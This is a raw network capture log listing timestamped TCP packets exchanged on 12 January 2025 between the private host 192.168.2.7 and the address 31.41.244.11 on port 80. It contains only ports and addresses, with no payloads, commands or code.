Jan 12, 2025 17:39:09.056097031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.056106091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.056106091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.056108952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.056157112 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.056298971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.089976072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.089992046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.090003967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.090049028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.090061903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.090073109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.090085030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.090167046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.090167046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.090291977 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.090302944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.090313911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.090342045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.090348959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.090353012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.090364933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.090373039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.090399027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.090410948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.090495110 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.101032019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.101047039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.101097107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.101138115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.101147890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.101160049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.101177931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.101177931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.101187944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.101200104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.101212978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.101227999 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.101351023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.101361990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.101363897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.101378918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.101388931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.101393938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.101399899 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.101411104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.101423025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.101440907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.101511002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.138865948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.138880014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.138956070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.138967991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.138988018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.138998985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139009953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139009953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.139030933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139043093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139044046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.139044046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.139055967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139106035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.139132023 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.139133930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139146090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139158010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139169931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139183044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139197111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.139215946 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.139255047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.139502048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139513016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139524937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139544010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139554024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139560938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.139565945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139579058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139611006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.139708042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139724970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139740944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139751911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139760971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.139760971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.139770031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139782906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139795065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.139822960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.139822960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.139861107 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.140064955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140084028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140094995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140119076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.140156984 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.140196085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140207052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140218973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140229940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140242100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140273094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.140292883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.140410900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140429020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140439987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140456915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140467882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140480042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140480042 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.140491962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140501022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140547991 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.140574932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140587091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140599012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140623093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140624046 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.140633106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140645027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140659094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140687943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.140721083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140726089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.140726089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.140762091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.140865088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140876055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140888929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140922070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140938997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140939951 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.140939951 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.140952110 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.140961885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141004086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141004086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141227961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141279936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141292095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141333103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141333103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141335964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141347885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141360044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141374111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141374111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141377926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141390085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141406059 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141417980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141433954 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141467094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141467094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141470909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141482115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141494036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141508102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141518116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141552925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141552925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141586065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141786098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141798973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141819954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141832113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141844034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141855001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141865969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141868114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141868114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141879082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141904116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141930103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141930103 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.141953945 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141966105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.141978979 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.142004967 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.142036915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.142036915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.142036915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.142050028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.142060995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.142100096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.142167091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.176245928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.176280022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.176292896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.176311970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.176322937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.176335096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.176345110 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.176346064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.176347971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.176398039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.176398039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.176601887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.176625013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.176636934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.176647902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.176661968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.176671982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.176671982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.176673889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.176687002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.176692009 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.176700115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.176716089 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.176772118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.188348055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.188364983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.188380957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.188405037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.188411951 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.188416958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.188431978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.188447952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.188460112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.188462019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.188491106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.188491106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.188493013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.188530922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.188544989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.188551903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.188560963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.188572884 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.188585043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.188602924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.188602924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.188643932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.225095034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225110054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225121975 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225172997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225184917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225197077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225208998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225219011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225305080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225315094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225326061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225337982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225353003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.225358009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225369930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225383997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225394964 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225436926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.225454092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.225739002 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225752115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225763083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225774050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225785971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225811958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225816965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.225816965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.225824118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225835085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225863934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225867033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.225867033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.225913048 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.225913048 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.225922108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225933075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225944996 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225969076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.225981951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.225992918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226005077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226016045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226022959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.226022959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.226067066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.226067066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.226324081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226339102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226351023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226413965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.226417065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226428032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226442099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226453066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226484060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.226533890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.226691961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226713896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226723909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226741076 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226753950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226757050 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.226773024 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226783991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226804018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226814032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226824045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226886988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226895094 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.226897955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226911068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226922035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226933956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226943970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226955891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.226978064 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.227005959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.227005959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.227022886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227040052 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227061033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.227061033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.227061987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227075100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227081060 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.227086067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227098942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227118969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.227118969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.227139950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227144003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.227144003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.227152109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227186918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.227186918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.227757931 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227771997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227783918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227794886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227816105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227827072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227838993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227849960 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227854013 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:09.227864027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:09.227869034 CET	80	49975	31.41.244.11	192.168.2.7
